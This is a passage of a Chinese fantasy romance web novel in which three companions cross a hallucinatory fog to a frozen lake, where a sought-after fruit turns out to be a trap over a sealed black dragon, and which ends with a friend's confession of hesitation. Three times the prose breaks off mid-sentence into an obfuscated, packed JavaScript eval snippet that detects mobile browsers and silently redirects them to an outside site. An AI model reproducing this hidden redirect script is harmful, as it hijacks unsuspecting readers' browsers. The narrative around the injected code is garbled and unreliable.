邬辞砚不解道:“你不是喜欢吃胡萝卜吗?” 温兰枝道:“不喜欢吃整个的,有怪味。” “好吧。”邬辞砚还是不理解,“不喜欢吃就不吃。” 温兰枝吃饭的时候就喜欢说话,她没话找话,问道:“恩人,你的名字是谁取的呀?真好听。” 邬辞砚道:“我自己取的。” 温兰枝啃了一口馒头,“好厉害!为什么取这个名字。” 邬辞砚答道:“因为不爱写字。” 坐在对面的慕蓉笑出声来,她以前也问过邬辞砚,这个名字乍一听怪好听的,但怎么解都不是什么好寓意。 邬辞砚当时就说,“怎么不是好寓意,辞砚,告别砚台,这辈子都不要再写字了,这是我听过最好的祝福。原本是想叫辞墨的,感觉太直接了,不好。” 慕蓉当时就笑过了,后来每次听他提起来都会笑。 邬辞砚问道:“你为什么叫温兰枝?” 温兰枝摇头:“不知道啊不知道啊。” 慕蓉接话道:“兰,兰花,木兰,不管是木兰还是兰花,都是品性高洁的花。” 温兰枝又问道:“那慕蓉姐姐呢?” 慕蓉想了片刻,道:“我还真问过我父母,我父母原本给我取的是荣华高升的‘荣’,但那会儿天帝为着鬼界造反的事,闹得头破血流,我们家在呢喏亭,鬼界和神界的交界处,以前也和鬼界有过来往,处境尴尬。我姑姑和姑父说,不要在这个节骨眼上出事,就给改成了芙蓉的‘蓉’。结果过了这么多年,我都长这么大了,天上还在为了妖界鬼界的事情头疼。” 从她出生,到她长这么大,众生平等这件事,一直都是个口号,一直喊,一直不平等。 吃完饭,温兰枝推开窗户,外面起雾了,但不算严重。 慕蓉道:“不知道是妖法还是什么。也有可能是正常的,毕竟这里离湖边这么近。” “走吧。”邬辞砚也起身,道,“趁这会儿还早,等会儿都聚在一起,人挤人的,烦死了。” 邬辞砚很久之前来过一次熙熙湖,他对熙熙湖的印象就一个字——大! 很大,一眼望不到边际,需要坐船才能过去。如今大家都挤在这边,那芩青果大概率在河对岸,估摸着是有什么东西拦着不让过河。 在水上是最容易出事的,船一翻,再大的本事也使不出来,不溺死就不错了。 但还没等他走到熙熙湖,雾气就已经让他分不清东南西北了。 25. 25 邬辞砚和慕蓉都不是道行浅的人,还不至于被迷雾困在里面。 他转过头,看向已经有点混乱的温兰枝,拉住她的手。 温兰枝怔了一下,明显心不在焉的状态。 邬辞砚没放在心上,只说了一句“别走丢了”,便拉着她继续前行。 慕蓉道:“不知道迷雾里面会不会有别的东西,你把枝枝拉紧点,就怕一会儿突然蹿出来什么,咱俩都没反应过来。” 邬辞砚点头,把温兰枝又往这边拉了拉。 邬辞砚用法术探了一圈,道:“雾应该是妖雾,但只有雾,没有阵法,只要认清方向就能出去。” 慕蓉“嗯”了一声,“我也用法术看了,我们现在走的方向没问题。” 慕蓉说着,突然发现邬辞砚顿住了脚步,迷雾太大,几个人离得稍微远点可能就互相看不清了,于是慕蓉也停下来,疑惑地看过去。 准确地说,是温兰枝顿住了,邬辞砚紧随其后顿住了。 温兰枝一双红眼睛直直地盯着前方,面上的神情不好分辨,看不出是惊喜还是惊吓。 邬辞砚指着她的太阳穴,道了一句“窥探”。 他的神识进入到了温兰枝的身体里,他睁开眼,看到面前站着一个邬辞砚,身着大红色的喜服,头戴金冠,正拿着喜酒,朝着这边走来。 邬辞砚回到自己的身体里,无奈地揉了下眉心。 慕蓉问道:“怎么了?” 他两只手搭在温兰枝的脸颊上,揉啊揉啊揉啊,“你要成亲回去和我成,不要在这里乱成啊兰兰——” “呃呃呃呃呃——”温兰枝被揉搓得生疼,总算醒过神儿来,定睛一看,面前只是一颗丑丑的枯树,邬辞砚在自己旁边。 邬辞砚把她又往身边拉了些,转过头来看慕蓉,道:“迷雾能致幻。” 慕蓉凝神,道:“只是看到成亲还好,就怕等会儿看到假的熙熙湖。” 三个人继续往前走,前面的迷雾里,突然传出叫嚷声,还有敲敲打打的声音。 “怎么不动啊!这水是不是有什么问题!” “如果不是芩青果的法力,肯定就是有人不想让我们渡河。” “可能真是芩青果造成的,那可是千年难遇的奇果,要拿到当然不易。” “眼下还有没有什么别的办法,我们现在在湖中央,过不去也回不去,时间长了,怕是要困死在这里。” 邬辞砚已经走过去,看清楚了情况。 四个人坐在一棵粗壮的枝干上,两个人拿着树枝,在地上戳戳敲敲。 慕蓉道:“我猜他们现在应该在湖上,坐在小船里,手里拿着船桨。” 邬辞砚二话不说,抢过他们手里的树枝,一人一树枝抽过去,抽得三个人吱哇乱叫,口喊有鬼。脸都抽红了,总算是勉强清醒过来。 眼前的湖水消失了,身下的船也变成了树干,被抢走的船桨变成了邬辞砚手里的树枝。 “哈哈哈哈我找到芩青果了!我找到芩青果了!”远处传来欣喜若狂的声音。 坐在“船”上的四个人一齐看过去,有雾挡着,什么也看不清,但能感受到声音在往后移。 慕蓉清楚那大概是幻象,但还是放出法术探了一下,那个喊着“找到芩青果”的道人,正捧着一个土块,高高举过头顶。 到处透露着诡异,温兰枝不动声色地往邬辞砚怀里靠了靠。 四个被抽得红肿冒血的道人,顾不上疼,争先恐后地下“船”,对着邬辞砚连连道谢。 邬辞砚托起一道蓝光,道:“跟着这个蓝光,就能走出迷雾。” 四人面面相觑,一人问道:“出去?是回去,还是到熙熙湖?” 邬辞砚道:“当然是回去。”就你们也想到熙熙湖。 后面那句没说出来,他懒得吵。 那人道:“多谢这位公子的好意,但我们同公子一样,都是为芩青果而来,不取到芩青果是不会回去的。” 邬辞砚挥挥手,“随便。”然后,搂住温兰枝的肩膀,继续往前走了。 那人又小声道:“这人真奇怪,来找芩青果还左拥右抱带两个女的。” 慕蓉闻言,回过头来,指着那个人,道:“倒!” 那人两眼一翻,向后倒去。 另外三个人立刻拥上去扶住他,没扶住,那人像石头一样往下砸,三个人都被拖累到了地上。 慕蓉哼一声,道了句“见识浅薄”,继续往前走了。 这一路上,找到“芩青果”的人见了不少,还有不少给树桩子表白的,抱着大树哭的。邬辞砚手上的树枝没扔,一路抽过去,叫醒了不少人,但是叫醒了也没用,除了几个胆小的,大部分人都没有回去的意思,这会儿叫醒了,等会儿又睡了。 温兰枝也时不时地睡一下,她一睡,邬辞砚就揪着她的衣领,提起来晃几下。 从迷雾出来,邬辞砚感觉自己的肌肉都更有力了,抽人抽的,提兔子提的。 四位航海者变成三位了,他们把那个昏迷的人扔在迷雾里不管了,不远不近地跟着邬辞砚,邬辞砚懒得管,默许了。 走出迷雾,冷气扑面而来,冻得温兰枝倒抽一口气,脑子在嗡嗡的寒风中越来越清醒,身上的冷和骨头的痛越来越清晰。 邬辞砚脱下自己的外衣,给温兰枝裹上,并没有暖和很多,聊胜于无。 她抱紧邬辞砚的胳膊,妄图能再暖和一点。 众人来到熙熙湖,被眼前的景象惊住。 一望无际的熙熙湖上,凝结出厚厚的冰面,一棵树歪歪扭扭扎根在冰里,树上结着一颗鲜艳而奇特的果子。 邬辞砚还以为芩青果会在河对岸,并没有,河对岸也是成群结队的妖怪,准备上冰。 “我没见过真正的芩青果。”邬辞砚看向慕蓉。 慕蓉仔细盯着看了一会儿,道:“我也辨别不出,离得远,看着像。但我记得……罢了,我原本想说芩青果不长树上,但转念一想,芩青果向来出其不意。” 如果不是因为两个人的法力都没有探出周围异样,他们一定会觉得,这是个更大的幻境。 邬辞砚轻轻踩了一下冰面,“你觉不觉得,水下有东西。” 慕蓉道:“摘下芩青果,底下的东西可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157668|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能就自己出来了。” 三位航海家一直跟在后面,此刻,他们还想跟在后面,但观望半天,看邬辞砚他们没有要上冰的意思,无奈只能自己琢磨怎么过去。 走过去当然是最简单的了,他们都会点小法术,还不至于滑死在上面。 但如果这么简单,就不会有那么多无功而返的人了。 一时间,没有一个人敢上冰。 “邬公子,你看那里。”温兰枝指向对面。 邬辞砚看过去,一群道人正拿着工具凿冰呢,还有在冰上生火的,都想看看冰下面会不会有东西。 然而都没有什么用,不管是凿冰还是生火,冰都没有一点反应。 不过生火真的是个好主意,邬辞砚托起一把火,递到温兰枝面前,温兰枝已经冷得不行了,连忙伸出手来,恨不得整个人都扑到火上去。 邬辞砚看旁边有个道士,走过去,道:“有没有空符?” 道士一怔,反应过来,递给他两张,他拿了些碎银子,递给道士。 他又借来了根笔,在黄色的符上画了个咒。 “给。”他递给温兰枝,“捂到衣服里面。” 温兰枝听话地贴在邬辞砚给他的外套里面,裹紧,身上很快就暖起来了。 “哇噻!好厉害!”温兰枝不冷了,有力气蹦跶了。 她早就想上那个冰上走一走了,感觉厚厚的,很好走,刚才太冷了,她实在是不想碰任何和“凉”有关的东西。 她一个大跳到了冰上。 “诶!”邬辞砚拦都拦不住,也跟着踩上去了。 众人的目光毫不避讳地看过来。 温兰枝不仅没有什么危险,两个脚还ci来ci去,在冰上滑了起来,她加上一点手部动作,想象自己是个很厉害的舞娘,就像琴夕姐姐一样。 邬辞砚帮着推了她一把,温兰枝顿时遛出去好远,邬辞砚追上去,又推了她一下。 慕蓉扶额,无声叹息,“这两个人……真是。” 哐当!温兰枝摔下来,邬辞砚口喊一声“定”,温兰枝立刻定在那里。 邬辞砚慢悠悠地晃过去,一只手搂住她的背,一只手穿过她的膝盖,又慢悠悠地解开了咒术,让温兰枝倒在了他怀里。 慕蓉:“……” 周围人:“……” 看来这个冰确实没什么危险,大家都有样学样地走上来了。 慕蓉走过去,对着两位冰嬉选手说道:“你俩别玩了,我怕水底下有什么东西,等会儿在冰上戳个大窟窿,你俩到水里做鸳鸯。” 邬辞砚悄声道:“是有东西,一直想往上窜,我正压着呢。” 慕蓉道:“那要不你让它出来一下,正好吓退一波人。” 邬辞砚后退了好大几步,温兰枝没听清他俩刚才在说什么,还以为邬辞砚在跟她玩,学着他的步伐向后退去,咯咯笑着。 三个人退到湖中央,空出来好大一个地方,后面跟过来的人不明所以,但也不敢到那边去。 邬辞砚收了力。 砰!砰!砰!冰面跟着震动,三下后,出现裂纹。 26. 26 冰面被击打出一个大窟窿,一条黑色的粗壮尾巴甩上来。 慕蓉松了口气,“我还以为是龙呢,原来是鱼。” 尾巴回到湖里,冰又冻上了,严丝合缝,一点坑洼都没留下,刚才的插曲就像是一场惊心动魄的幻觉。 邬辞砚笑道:“真是龙我也压不住啊。不过,我怀疑真有。” 慕蓉道:“如果只是几条鱼,掀不起狂风大浪,果子早就被取走了。最大的东西应该在湖底,它不想出来,谁又能奈何他。” 邬辞砚应和道:“它大概也不会轻易出来,在水下它是老大,上来了就难说了。” 温兰枝扯了扯邬辞砚的袖子,指向后面。 一艘小船被推到了冰面上。 邬辞砚笑了,“光是那尾巴,就能把船掀翻了。” 话音刚落,冰面再次裂开,这次打上来的不是尾巴,而是狼牙棒,当场敲碎了一个脑瓜子,几只手从水里伸出来,直接把船和人都端下去。慕蓉连忙上前,还没等她到,冰层又冻上了,毫无痕迹。 这么多张嘴,同时发出了一声惊惧的“啊”。 原本滑得欢快的温兰枝,此刻双腿抖得不行,直接变成兔子钻进了邬辞砚的钱袋。 钱袋的松紧处总是卡头,每次都要邬辞砚帮着拉一下,不然屁股进不去。 她进去了,又想看,又把头露出来,两个前爪搭在钱袋边沿。 邬辞砚一边继续往前走,一边时不时拍一下她的头捏一下她的爪子。 慕蓉跟上来,悄声问道:“你还能压住吗?” 邬辞砚道:“这妖怪太多,我只能压住我们附近的,稍远一些的不行。” 慕蓉点头,道:“行,先自保吧。” 湖上的窟窿越来越多,尖叫声和救命声此起彼伏,往往是这边刚有人掉下去,冰还没来得及合上,那边又掉一个。 这个攻击方式对水里那些虾兵蟹将来说实在是太舒适了,上面的人下不去,也不敢下去。他们只需要不停打窟窿就行。 慕蓉神色凝重,道:“你觉得我下去如何?” 邬辞砚被她认真的语气吓住了,忙道:“水下情况一无所知,你水下功夫再好,也难保不会死在里面。” 慕蓉将目光锁定在前方的果子上,“那我们快些,赶紧拿到芩青果了事,只要果子还在那,这些人就不会走的。” 她话音刚落,狂风大作,逆向而来的风像是一匹烈马,他的缰绳绑在每个人的腰上,将大家向后猛拽。 后面的冰层全部裂开,形成一个大坑,黑色深不见底的水形成巨大的漩涡,刀锋一样的水转过来,像是能把人砍成两半,不断有人掉进去,被吞噬。 漫上来的水变成透明的触手,拖着人的腿往下拽。 凄厉的惨叫声冲上云霄,却冲不破天上的云层。 邬辞砚把温兰枝的头摁回去,死死抓住腰间的两个钱袋。 两个人还要往前,突然,树开始向下移动。 “芩青果要沉下去了!”慕蓉喊道,“这就是个骗局!” 慕蓉右侧突然闪出一道金光,她看过去,一个妖怪,高举起手中的重剑,将全身的妖力压在剑上,奋力往冰上插去。 出乎意料,竟然真的让她插进去了,冰面裂出一个正好能卡住那把剑的缝隙。 她一喜,紧紧抓着剑柄,勉强站在原地。 众妖怪纷纷效仿。 然而并没有什么用,功力不够深厚的人根本插不进去,还会被自己的法术弹飞,就算插进去了,下面的妖怪打个窟窿,连人带剑一起下去。 不远处的树只剩个头了,马上就要沉下去,慕蓉看了一眼,觉得来不及,没心思再管了,转过头来,道:“我可以用法术搭建一个桥,先把这些人都送回去吧。” “啊啊啊啊!” 慕蓉转过头去,那个稳住身形的妖怪突然暴起,一口气拔出剑向前冲,法术在她周边形成了一个小小的保护层,让她不受风阻。 芩青果沉得很慢,她飞速跑过去,伸手,差一点点,马上就要抓到芩青果了。 “糟了。”邬辞砚反应过来,“那不会是个什么封印吧。” 慕蓉也反应过来,“沉得越来越慢,很明显是故意的。” 邬辞砚把装着温兰枝的钱袋子递给慕蓉,“跑!” “那你……诶!”慕蓉话还没说完,只见邬辞砚顺着风,往人群相反的方向跑去了。 慕蓉回过头,那个妖怪已经抓住芩青果了,她立刻施法架桥,大声喊道:“靠岸的快上岸,跑不到岸边的都往我这边来!快来!快上桥!” 她余光瞥见邬辞砚已经到漩涡旁边了,他随手捞住两个在边缘垂死挣扎的道士,奋力往岸边一扔,自己跳下去。 慕蓉怔了一瞬,立刻反应过来,继续招呼人上桥,“都上来!往桥上跑!快上岸!上岸!” 太多的人被风卷走了,慕蓉又架起屏障,但熙熙湖太大了,她顾得了这边,顾不了那边,顾得了那边,顾不了这边。 她的法术不够架起两架桥。 “我拿到了!我拿到了!”那个妖怪摘下芩青果,趴在地上,欣喜若狂道。 狂风停了,冰面上哐哐作响的声音也停了。 慕蓉总觉得情况不对,还是在继续疏散,但桥上的人顿住脚步了,他们都朝着芩青果的方向看过去。 慕蓉喊道:“快走啊!后面还有很多人!” 桥上的人不肯走,但也不肯下来。 那个拿着芩青果的妖怪还站在原地,尽管风停了,她也不敢过来,她知道,一旦站到人堆里,芩青果就不知道是谁的了。 温兰枝突然从钱袋子里钻出来,朝着那个妖怪的方向过去。 她跑得太快了,钱袋子还在脚上拴着。她想甩掉,但囫囵甩了几下反倒被袋口的绳子拴住了,死死地捆在她脚上。 算了,就这样吧。 “枝枝!”慕蓉要去抓她。 温兰枝已经扑过去了,她们离得不远,在没有风阻的情况下也就是几步的距离,她在那个妖怪没反应过来的瞬间,咬住芩青果,朝着岸边狂奔。 “我的果子!”那个妖怪大声喊话,拿着重剑朝这边追来。 温兰枝借着冰面的优势,一路滑到岸边。 桥上的人反应过来,不知道是谁喊了一句:“抓住那个兔子!芩青果在那!” 慕蓉一惊。桥上的人继续向着岸边移动了。慕蓉反应过来,温兰枝是要做活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166733|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靶子,把人往岸上引。 “操!”慕蓉第一次骂脏话,平时呆呆傻傻的,关键时刻脑子转这么快。看到温兰枝顺利上岸,她稍稍安心,但看到那么多人朝着她去,又吓得不行。 她已经没有多余的法力再放一道屏障给温兰枝了。 重剑一次次砸下来,差点砸在温兰枝身上,温兰枝左窜右窜,要把芩青果扔到迷雾里。 慕蓉站在中间,左边是命在旦夕的苍生,右边是命悬一线的妹妹。 她再一次看到那把重剑砸下来了,在芩青果被扔进迷雾的一瞬间砸下来了,她飞扑过去,做出了选择。 但这个选择已经晚了。 重剑已经砸下去,层层叠叠的人围着温兰枝,慕蓉看不到她的情况。 “啊啊啊啊!” 这声喊不是温兰枝发出来的,是围在她周围拿着刀剑的人,他们被一阵强烈的白光弹开。 温兰枝脚上的钱袋子化作屏障,将温兰枝护在里面。 这道屏障坚不可摧,任周围的人再怎么刀砍火烧也没有丝毫裂痕,比得上熙熙湖的寒冰。 那些人看到芩青果被她抛出去了,也没再费劲破那道屏障,都忘迷雾里去了。 砰!砰!砰! 冰面再次发出撞击声,前所未有的激烈。 还在冰面上的人突然回过神来,继续往慕蓉的桥上跑,有些已经残疾,有些奄奄一息。 冰面剧烈的震动让刚爬起来的人们再次摔下去,慕蓉扶了这个倒了那个,她也不扶了,直接逮着一个就往桥上或者岸上扔,摔伤是小,能多救一个是一个。 她不放心,频频往岸上看,温兰枝已经变回人形,左边袖子红了一片,她在看冰上那个巨大的漩涡,她刚才看到邬辞砚从那里跳进去了。 她不想哭,哭不吉利,她觉得邬辞砚可以出来。 她觉得邬辞砚不会死在这里。 她觉得,她就是这样觉得。 眼泪像分散的溪流,湍急向下,在下巴处汇聚,滴在地上,将一小片土地染成深色。 冰面裂开了,不是一小块,是整片。 熙熙湖的冰出现了一条巨大的裂纹。 慕蓉扔人的手更快了,根本来不及想什么,只一股脑地往岸上和桥上扔。 桥上人挤人,被扔上桥的人如果不赶紧站起来,马上就会被蜂拥而至的逃命者踩死。 一条黑长的身影撞破冰面,粗壮的身体几乎占据了肉眼能看到的所有湖面,冰层被完全掀翻,冰块四分五裂,慕蓉架起屏障,挡住了从天上飞下来的冰块,还没有上桥的人们尽数掉到湖里。 那条黑龙还在往上蹿,湖里的人眼看是救不了,慕蓉提剑,往上看。 温兰枝四处徘徊。 邬辞砚……邬辞砚……邬辞砚邬辞砚邬辞砚! 到处都没有。 她胸口的骨头好像断了,深深插进心脏,喘不上气,也哭不出声。 那条黑龙仰天长啸,替温兰枝吼出了撕心裂肺的一声,吼破了慕蓉的屏障,桥也塌了。 等一下! 那条龙好像上不去了! 一条白蛇冒出水面,和那黑龙的身形不相上下,正卷着黑龙的下半身,往下扯。 27. 27 黑龙的爪子抓着白蛇的身躯,但刺不破白蛇表皮的鳞片,黑龙被生生扯进熙熙湖,一龙一蛇在水里翻滚着,掀起惊涛巨浪。 又是一道高浪拍下来,岸边的人都撒开腿往迷雾里跑,跑不进去的,就被卷着到了湖里。温兰枝的屏障依旧稳固,水都绕着走。 她的双眼紧紧盯着白蛇的残影,她看不清他有没有受伤,也看不明白谁占上风,只是在心里一遍遍地念邬辞砚。 慕蓉到岸边,想带着温兰枝走,但用了许多方法都破不开屏障。 温兰枝道:“我也不知道怎么解开……” 话音刚落,屏障就变回了黑色的钱袋子,系在温兰枝腰间。 慕蓉一怔,又是一道浪拍过来,她拉起温兰枝,逃进迷雾。 “邬辞砚……” “邬辞砚不会有事。”慕蓉打断她,“我观望了一会儿,那条黑龙打不过他。我们先带着这些人走。” 她伸手,托起一道金光,金光很亮,穿透迷雾,即便是正身陷幻象的人,也看到了这束金光。 慕蓉的声音在迷雾上方徘徊,“大家跟着金光一直走,就能走出迷雾,无论你眼前出现什么,只要金光还在,你们就还在迷雾之中,继续走,继续跟着金光。” 行走中,慕蓉看见一个道人正在逆行,她拦住此人,道:“前面危险。” 道人甩开她的手臂,道:“我去找芩青果。” 慕蓉道:“芩青果已经不知下落,熙熙湖湖底的黑龙逃脱封印,正在熙熙湖行凶,去了就是死路一条。” 道人没理,继续逆行而去。 慕蓉回头,盯着他的后脑勺。 那道人走了一会儿,突然转过头来,迷蒙地看着她,一字一顿道:“您、有、什、么、吩、咐。” 慕蓉道:“跟着金光。” 那道人道:“好、的。” 温兰枝问道:“这是什么法术?” 慕蓉道:“媚术,那天我送回琴夕、云曦两位姑娘后,向两位姑娘请教了媚术,我回来研究了一下,还没学明白,能成功纯属巧合。” 温兰枝道:“可是他想送死,我们为什么非要救他?” 慕蓉道:“不管他怎么想,不管他出去以后是恨我还是谢我,都无所谓,我是神仙,救人是我的职责所在,我只是完成我的职责。谁都可以见死不救,我不行,我住着漂亮的宫殿,吃着别人吃不到的东西,就要做别人不做的事,管别人管不着的事,尽我应该尽到的责任。” 慕蓉把她带出迷雾,又转身走进迷雾。 此刻,她在慕蓉眼里,和旁人没什么分别。 她转过头,看到几个刚才还在追杀她的人,默默离他们远了些。 其实慕蓉走的时候,跟她说了可以回客栈,但是她想再等等,她怕邬辞砚和她走散了。 第二日清晨,迷雾开始散去,露出森林的原貌。 慕蓉最后一次走出来,几乎是筋疲力尽。 温兰枝看了看她,又看向她的身后,没有看到邬辞砚。 她握住腰间的钱袋,道:“慕蓉姐姐,迷雾都散了吗?” 慕蓉深吸一口气,长长地吐出来,道:“散了,你去吧。” 温兰枝得到准许,立刻撒开了腿往里面跑,边跑边喊着邬辞砚的名字。 她看到慕蓉的神情,就知道邬辞砚没事。她欣喜若狂,又控制不住地紧张,每喊一声,心里就颤一下,得不到回应,就刺痛一下。 “这里。”一个熟悉的声音回应道。 温兰枝的心提起来,转过头去,看到坐在树下的邬辞砚。 她飞扑过去,整个小腿面都蹭在地上,她皱了下眉头,哭出声来,不知道是膝盖摔疼了还是心脏扎痛了,“你流了好多血。” 邬辞砚弹了一下她的脑袋,“胡说八道,这都是那条龙的血。” “真的吗?”温兰枝说完就要把头往他怀里埋。 “诶诶诶诶!”邬辞砚用手掌抵住她的额头,“你贴着我,一会儿满脸的血出去,吓死人了。” 他把手指放在温兰枝唇边,半警告半玩笑地道:“我没有受伤,就是有点累,无伤打死黑龙,这可是我的战绩,你,不准出去胡说!” 温兰枝盯着他,突然笑出声来,她抹眼泪,威胁道:“我才不,你要我不胡说,你就要亲我一下。” 邬辞砚坐起来,一下把她摁到怀里,低头,轻吻她的额头。 温兰枝悬了一天一夜的心,总算是在此刻放下来。 她摸了摸邬辞砚的头发,摸了摸邬辞砚的耳朵,摸了摸邬辞砚的眼睛、鼻子、嘴巴,什么都没少,完好无损。 邬辞砚不知道从哪拿出来两颗黑色的大珠子,比夜明珠还大两圈。 温兰枝“哇”了一声。 邬辞砚道:“这是龙眼睛,小小一颗都价值连城。到时候找人把这切了,打成小珠子,我再去把龙角砍下来,给你打支步摇。” 过了一会儿,他把脸凑到温兰枝面前,问道:“你会戴吗?” 温兰枝没说话,她躺在邬辞砚的胸口,正在听他心脏的砰砰声。 邬辞砚道:“我看别人戴着,晃来晃去,可好看了,你喜欢跑,戴你头上晃肯定好看。” “那要打一个能垂到肩膀的。”温兰枝道。 邬辞砚道:“那跑起来不打脸上了?打眼睛里就瞎了。” 温兰枝道:“我不,我就要!” 邬辞砚妥协,“好吧好吧。” 温兰枝把头埋到他衣服里,突然坐起来,道:“你身上好臭,我们回客栈洗澡吧?” “啧!”邬辞砚真想把这个破坏氛围的家伙叉出去。 他休息得差不多了,站起身,“走啦,去找慕蓉,回去了。” 三人相遇后,准备一起去客栈。 邬辞砚原本准备直接回皇城的,但看慕蓉好像还有话要跟自己说。 邬辞砚解下温兰枝腰上的钱袋,系回自己腰间。 温兰枝问道:“这个钱袋是怎么回事?” 邬辞砚道:“我在上面下了咒,感受到你有危险就会保护你,你觉得安全,道一句‘解’,它就自动开了。” 三人梳洗完毕,换好了新衣服,邬辞砚看慕蓉一直不开口,就准备带温兰枝去皇城睡觉了。 “我有话要跟你说。”慕蓉道。 邬辞砚“嗯”一声,摸了一下温兰枝的脑袋,“你先去睡觉吧,睡醒了我们就回去。” 温兰枝早就困得不行了,刚才在浴桶里就睡了一觉,如果不是邬辞砚进来看见了,她真要溺死在里面了。 邬辞砚当时无语至极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175019|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没被黑龙一尾巴打死,在自己房间沐浴被水杀了。 温兰枝关上门去睡觉了。 另外两个人到了另一间房间。 从回来开始,慕蓉就有意在躲着温兰枝,邬辞砚看出来了。 慕蓉犹豫片刻,看到桌上放着店家送来的酒坛,给自己倒了一碗,一饮而尽,又给邬辞砚倒了一碗。 邬辞砚摇头,“你知道的,我私下里不喝酒。” 慕蓉看着他,又将眼睛转开,道:“我就是不知道怎么开口。我想去给温兰枝道歉,但这种事……” 她顿了顿,道:“当时我的右手边,是即将丧命的温兰枝,左手边是六个即将掉进湖里的人,我当时、当时……犹豫了,没救到温兰枝,那六个人也没救上来,没对得起你的托付,也没对得起我自己的职责。” 她又闷了一口酒,“我不去找温兰枝道歉,是因为她当时被那么多人围着,不一定看到了我的犹豫,也许她会觉得,我只是赶不过去。我卑劣地想着,不告诉她,这事不就过去了……” 她捂着脸,连苦笑都笑不出来,道:“对不起。” 邬辞砚静静等她说完,道:“兰兰以前跟我说过一句话。” 慕蓉没接话,依旧坐在那里。 邬辞砚道:“她说:‘她对我这么好,为她死了也好。’” 他无声叹息,道:“她就是这样,怎样都好,活着也行,死了也行。但是,她希望她喜欢的人都过得好。她飞扑出去救人的事情,我已经知道了,她自己跟我说的。我问她为什么,她说,只是因为你想救那些人,她想帮帮你,她不是为了什么苍生,她脑子里装不下那么多的人,她就是为了你。就像我跳湖杀龙,也不是为了什么苍生,我就是为了温兰枝,怕她和苍生一起丧命。” 慕蓉抹掉眼泪,把手拿下来。 邬辞砚继续说道:“你想跟她道歉,我觉得,就算她知道实情,她也不会觉得你对不起她了。她本来也不相信有人会在她和任何事情之间,选择她。” 慕蓉正要开口,邬辞砚打断她,“但是我会!在任何事和她之间,我都会选择她。慕蓉,我不生你的气,我从认识你的第一天起,就知道你这样,你的责任关乎到天下人,你在任何事情和责任之间,都会选择责任,也不得不选择责任。” 他突然笑起来,大咧咧往后一靠,道:“但是我就无所谓啦,我救一个人是英雄,救一群人也是英雄,救温兰枝顺便能救天下人,那就顺便咯,如果天下人和温兰枝只能选一个,那我肯定选温兰枝,我又没有什么责任要承担,当然怎么顺心怎么来。” 过了一会儿,他又道:“我们只是朋友,又不是对方身上的器官,一个死了另一个还要继续活的,谁也干涉不了谁。下次再有这样的事情,你选你的,我选我的。” 慕蓉“嗯”一声,看向他,“下次,我会坚定一些。” 邬辞砚见她心情好点了,道:“我要你帮我个忙。” 慕蓉道:“什么?” 邬辞砚道:“你帮我查查,这天上的神仙里,有没有一个叫齐岳封的人。” 慕蓉道:“谁啊?” 邬辞砚道:“兰兰那天做梦,说这个叫齐岳封的人要杀她。” 慕蓉点头,道了声“好”,又问道:“那个芩青果你找到了吗?” 28. 28 邬辞砚杀了黑龙以后,在林子里转悠了一会儿,找到了一颗龙心脏。 那大概率就是树上挂着的芩青果。 慕蓉一怔,“它想利用这个破解封印?” 邬辞砚轻笑一声,道:“这倒是没错,但是是谁帮它出的主意,是谁把他的法力带出来,又是谁帮他布置好了场景呢。封印没解开之前,他连施展法力都难,又怎么冻得住熙熙湖呢。而且,我听说南方的柳湖湖底也封印了一条黑龙,熙熙湖倒是第一次听,不知道柳湖那条还在不在。” 他不点破,两个人都心知肚明。 能挪动封印,也就神仙有这个本事了,而且挪动封印是大事,必要经过层层审批,一神之力根本挪不动那么强悍的封印。 此事乃是天庭联手。 想驱虎吞狼,结果认错虎了。 六年前,天上的神仙就是用假的芩青果骗邬辞砚现身,他当时也怀疑有诈,但苦苦找寻了三百年,他不想放弃这样一个机会。他去之前,还到鬼界去买了一副皮囊,确定没有破绽才去的,可神仙没那么好糊弄,他还是被抓了。 如今故技重施,邬辞砚还是来了,但众神已经奈何不得他了。任何计谋,在绝对的力量面前,都没有用。 慕蓉皱眉,怀揣着满腔的愧意,道:“我回去会好好调查这件事的。” 邬辞砚起身,拍拍她的肩,“不必,你不用为了我和天庭为敌。杀了黑龙,吸收了一些他的法力,也算是赚了。” 吸收法力这种事凶险异常,倘若吸食得太多,超过了身体负荷,就会爆体而亡,倘若吸食的法力与自己修炼的不符,就会因为排异而血管爆破。 但邬辞砚自从六年前没死之后,就像是打通了任督二脉,什么样的法力都能来点,无论是神力、妖力、鬼气都来者不拒。身体里像是有一个袋子,专门用来装吸收的法力,吸收了以后无法当场消化也没关系,可以慢慢融合。 